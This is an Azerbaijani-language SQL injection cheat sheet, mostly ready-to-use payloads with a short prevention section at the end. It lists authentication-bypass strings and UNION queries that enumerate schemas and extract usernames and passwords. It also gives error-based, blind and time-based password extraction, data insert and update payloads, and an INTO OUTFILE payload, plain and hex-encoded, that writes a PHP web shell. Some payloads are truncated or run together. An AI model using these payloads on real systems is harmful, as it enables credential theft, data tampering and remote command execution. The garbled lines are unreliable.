SQL inyeksiyası, məlumatları manipulyasiya etmək və ya icazəsiz daxil olmaq üçün vebsaytın database sorğularına zərərli kodun yeridildiyi kiberhücum növüdür. Bir veb saytı kitabxanaçı, database isə kitab rəfi kimi təsəvvür edin. Normalda siz kitabxanaçıdan başlıq təqdim edərək konkret kitabı tapmasını xahiş edirsiniz. SQL inyeksiyasında haker gizli şəkildə başlığa əlavə təlimatlar əlavə edə bilər, kitabxanaçını (və ya database-i) nəzərdə tutulduğundan daha çox məlumatı almaq üçün aldada bilər. Məsələn, başlıq girişi lazımi qaydada təmizlənməyibsə, təcavüzkar "'; DROP TABLE books; --" kimi bir şey daxil edə bilər ki, bu da qorunmasa, bütün kitablar cədvəlinin silinməsinə səbəb ola bilər. Düzgün daxiletmənin yoxlanılması və parametrləşdirilmiş sorğular SQL inyeksiyasına qarşı əsas müdafiə texnikaları hesab olunur.
Giriş nöqtələrinin aşkarlanması
Serverin SQLi ilə əlaqəli girişlərinin olduğu üçün SQLi-a qarşı həssas olan sayt tapmış ola bilərsiniz. Buna görə etməli olduğunuz ilk şey sorğuya məlumatları pozmadan necə yeritməkdir. Bunu etmək üçün əvvəlcə mövcud kontekstdən necə qaçmağı tapmalısınız. Bunları istifadə edə bilərsiniz:
'
"
`
')
")
`)
'))
"))
`))
Sonra, səhvlərin olmaması üçün sorğunun necə düzəldiləcəyini bilməlisiniz. Sorğunu düzəltmək üçün əvvəlki sorğunun yeni məlumatları qəbul etməsi üçün məlumatları daxil edə bilərsiniz və ya sadəcə məlumatlarınızı daxil edib şərh simvolu əlavə edə bilərsiniz. Nəzərə alın ki, səhv mesajlarını görə bilsəniz və ya sorğunun işlədiyi və işləmədiyi zaman fərqləri görə bilsəniz, bu mərhələ daha asan olacaq.
Komment sintaksisi
Comment sintaksisi database-in növündən asılı olaraq dəyişir. Məsələn:
MSDB
Comments
MySQL
-- - ( -- bundan sonra boşluq əlavə et)
#
/*comment*/
/*!comment*/
MSSQL
--
/*comment*/
Oracle
--
PostgreSQL
--
/*comment*/
SQLite
--
/*comment*/
İlkin səviyyə inyeksiyalar
Əvvəlcə hədəf veb saytdakı formlara və ya URL parametrlərinə SQL əmrlərini yeridə biləcəyimizi yoxlayın.
' OR 1=1--
' OR 1=1-- -
' OR 1=1#
' OR '1'='1'--
' OR '1'='1'-- -
' OR '1'='1'#
' OR '1'='1--
' OR '1'='1-- -
' OR '1'='1#
" OR 1=1--
" OR 1=1-- -
" OR 1=1#
') OR 1=1--
') OR 1=1-- -
') OR 1=1#
'; OR 1=1--
'; OR 1=1-- -
'; OR 1=1#
admin or 1=1--
admin or 1=1-- -
admin or 1=1#
If website filters to prevent our payloads, we need to bypass the filter.
HTTP parametrlərinin qarışdırılması
Parametr dəyərlərini bölməklə inyeksiya edə bilərik.
/?id='+select+1&id=2,3+from+users+where+id=1-- -
Yeni sətir ('%0A')
Yeni sətrin əvvəlinə yazmaqla (URL ‘%0A’ olaraq kodlanmışdır), sonrakı sintaksis filtrasiyasını bypass edə bilərik.
/?id=%0A' OR 1=1-- -
Versiyanın müəyyən edilməsi
MSSQL
' UNION SELECT @@version--' UNION SELECT NULL,@@version--
MySQL
' UNION SELECT @@version-- -' UNION SELECT @@version#' UNION SELECT NULL,@@version-- -' UNION SELECT NULL,@@version#
Oracle
' UNION SELECT 'a' FROM dual--' UNION SELECT 'a','b' FROM dual--' UNION SELECT * FROM v$version--' UNION SELECT BANNER,NULL FROM v$version--
PostegreSQL
' UNION SELECT version()--' UNION SELECT NULL,version()--
' UNION SELECT sqlite_version()--' UNION SELECT sqlite_version(),NULL--
Sütunların sayının müəyyən edilməsi
Aşağıdakı əmrlər database-də sütunların sayını müəyyən edir.
' UNION SELECT NULL--' UNION SELECT NULL-- -' UNION SELECT NULL,NULL--' UNION SELECT NULL,NULL-- -' UNION SELECT NULL,NULL,NULL--' UNION SELECT NULL,NULL,NULL-- -' UNION SELECT 'a',NULL,NULL--' UNION SELECT 'a',NULL,NULL-- -' UNION SELECT NULL,'a',NULL--' UNION SELECT NULL,'a',NULL-- -' UNION SELECT NULL,NULL,'a'--' UNION SELECT NULL,NULL,'a'-- -
UNİON ALL
Biz “UNION ALL” sintaksisindən istifadə etməklə sorğunun nəticəsini bir sütunda birləşdirə bilərik.
' UNION ALL SELECT "' UNION SELECT flag,NULL,NULL from flags-- -",NULL,NULL from users-- -
Table adlarını öyrənmək
MSSQL
' UNION SELECT table_name,NULL FROM information_schema.tables--
MySQL
' UNION SELECT table_name,NULL FROM information_schema.tables-- -' UNION SELECT table_name,NULL FROM information_schema.tables#<!-- group_concat(): Bütün hamısını eyni vaxtda göstərir -->' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables-- -' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables#
PostgreSQL
' UNION SELECT table_name,NULL FROM information_schema.tables--
Oracle
' UNION SELECT table_name,NULL FROM all_tables--
SQLite
' UNION SELECT tbl_name FROM sqlite_master--' UNION SELECT tbl_name,NULL FROM sqlite_master--
Sütunların sayını öyrənmək
İstədiyin table-dan sütunları çəkmək
MSSQL
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--
MySQL
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'#
PostgreSQL
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--
Oracle
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='table_name'--
SQLite
' UNION SELECT column
Table-da olan məlumatları çəkmək
Məsələn, tutaq ki, istifadəçi adı və şifrəni “users” adlı cədvəldən çəkmək istəyirik.
' UNION SELECT username,password FROM users--
' UNION SELECT username,password FROM users-- -
' UNION SELECT username || '~' || password FROM users--
' UNION SELECT username || '~' || password FROM users-- -
' UNION SELECT NULL,username || '~' || password FROM users--
' UNION SELECT NULL,username || '~' || password FROM users-- -
' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'-- -
' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'-- -
' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'-- -
BINARY: Böyük və kiçik hərflərə həssas oladuqda.
' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'--
' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'-- -
Table-ların boşaldılması
' UNION SELECT table_name FROM table_name--' UNION SELECT table_name,NULL FROM table_name--
Bütün məlumatların çəkilməsi
' UNION SELECT * FROM users-- -
'; SELECT * FROM users-- -
Məlumat daxil etmək və ya dəyişdirmək
İstədiyimiz datanı daxil etmək
' INSERT INTO users (username, password) VALUES ('admin', 'pass')-- -'; INSERT INTO users (username, password) VALUES ('admin', 'pass')-- -<!-- Insert a payload -->' INSERT INTO products (id, name, price) VALUES (999, "<?php system('id'); ?>", 10)-- -
İstədiyimiz datanı yeniləmək
' UPDATE users SET password='password123' WHERE username='admin'-- -' UPDATE users SET password='password123' WHERE id=1-- -
UPSERT
Bu UPDATE və INSERT əməliyyatının birləşməsidir. Müəyyən bir row artıq mövcuddursa, o, yeni dəyərlərlə yenilənəcək. Mövcud admin istifadəçisi üçün parol üçün yeniləmək.
<!-- MySQL -->INSERT INTO users (username, password) VALUES('admin', '') ON DUPLICATE KEY UPDATE password=''-- -<!-- PostgreSQL, SQLite -->INSERT INTO users (username, password) VALUES ('admin', '') ON CONFLICT (username) DO UPDATE SET password='password'--
Çalışdırandan sonra hədəf sistemdən shell alacayıq.
Error-based SQLi
Error mesajına cavab almaqla database haqqında məlumat toplaya bilərik. Error mesajlarını yoxlayarkən SQLi tətbiq edə bilərik. MySQL inyeksiya nümunələri.
' AND 1=CAST((SELECT 1) AS int)-- -' AND 1=CAST((SELECT password FROM users) AS int)-- -<!-- Limitlidir yalnızca 1 sıra -->' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)
Yuxarıdakı nümunədə error mesajında göstərilən parolu görə bilərik.
Blind-SQLi
SQLi işləyib-işləmədiyini yoxlayın.
' AND '1'='1
' AND '1'='2
' AND (SELECT 'a' FROM users LIMIT 1)='a
Məzmun Dəyərinin Mövcud olub olmadığını yoxlayın. Məsələn:
Məsələn, 'users 'də 'administrator' istifadəçi adının olub olmadığını yoxlayın
' AND (SELECT 'a' FROM users WHERE username='administrator')='a
Əgər belədirsə, parol uzunluğunu müəyyənləşdirin
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
...
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=8)='a
Password uzunluğuna brute force elə
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='$a$
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='$a$
...
' AND (SELECT SUBSTRING(password,8,1) FROM users WHERE username='administrator')='$a$
Blind SQLi (Time-based)
İlk öncə inyeksiyanın olub olmadığını yoxlayın.
MySQL
' AND sleep(5)-- -
PostgreSQL
'||pg_sleep(10)--'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--'; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--
Məzmun Dəyərinin Mövcud olub olmadığını yoxlayın. Məsələn:
'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
Əgər belədirsə, parol uzunluğunu müəyyənləşdirin
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>2) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
...
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)=8) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
Password uzunluğuna brute force elə
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,2,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
...
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,8,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
Conditional Error
İlk öncə inyeksiyanın olub olmadığını yoxlayın.
'
''
'||(SELECT '')||'
'||(SELECT '' FROM dual)||'
'||(SELECT '' FROM fake_table)||'
'||(SELECT '' FROM users WHERE ROWNUM = 1||'
'|| (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
'|| (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Məzmun Dəyərinin Mövcud olub olmadığını yoxlayın. Məsələn:
'|| (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Əgər belədirsə, parol uzunluğunu müəyyənləşdirin
''||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
''||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
''||(SELECT CASE WHEN LENGTH(password)=8 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Password uzunluğuna brute force elə
'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
'||(SELECT CASE WHEN SUBSTR(password,8,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
File-lara nələrsə yazmaq
Fayla aşağıdakı kimi ixtiyari kodu yaza bilərik.
' SELECT '<?php echo system("id");?>' INTO OUTFILE '/var/www/html/shell.php'-- -
HEX Encoded Payloads
' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED by 0x3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E-- -
' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED by 0x3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E#
'0x3C3F...'hex kodlu mətnin mənasıdır "<?php system($_GET["cmd"]) ?>". Enjeksiyondan sonra daxil ola bilərik http://10.0.0.1/shell.php?cmd=whoami.
XPATH enjeksiyonu
MySQL
' AND UPDATEXML(NULL,CONCAT(0x3a,(SELECT SUBSTRING(password,1,16) FROM users)),null)-- -
Error-un nəticəsi aşağıdakı kimi görünsə, biz parol hashinin bir hissəsini əldə etdik.
XPATHsyntaxerror:':3ac6b24dc611a692'
Beləliklə, aşağıdakı əmri daxil etməklə parol hashinin qalan hissəsini tapa bilərik.
' AND UPDATEXML(NULL,CONCAT(0x3a,(SELECT SUBSTRING(password,17,32) FROM users)),null)-- -
SQLi qarşısını necə almaq olar?
SQL inyeksiyasının (SQLi) qarşısını almaq üçün database ilə qarşılıqlı əlaqədə olarkən həmişə parametrləşdirilmiş sorğulardan və ya hazırlanmış ifadələrdən istifadə edin. Parametrləşdirilmiş sorğular SQL kodunu istifadəçi girişindən ayıraraq, təcavüzkarların zərərli SQL əmrlərini yeritməsini çətinləşdirir. Əlavə olaraq, istifadəçi daxiletmələrinin gözlənilən formatlara uyğun olmasını təmin etmək üçün onları məhdudlaşdırmaq və təsdiqləmək yolu ilə daxiletmə yoxlamasından istifadə edin. Tətbiq hesablarına minimal zəruri verilənlər bazası icazələri verməklə ən az imtiyaz prinsiplərindən istifadə edin. Hər hansı məlum zəifliyi aradan qaldırmaq üçün verilənlər bazası idarəetmə sisteminizi mütəmadi olaraq yeniləyin və patch edin. Zərərli trafiki süzgəcdən keçirmək və bloklamaq üçün veb proqram firewalllarını (WAF) tətbiq edin və potensial SQLi zəifliklərini müəyyən etmək və düzəltmək üçün müntəzəm təhlükəsizlik auditləri aparın. Bu təcrübələri qəbul etməklə siz databse ilə idarə olunan proqramlarınızın təhlükəsizliyini SQL inyeksiya hücumlarına qarşı əhəmiyyətli dərəcədə artıra bilərsiniz.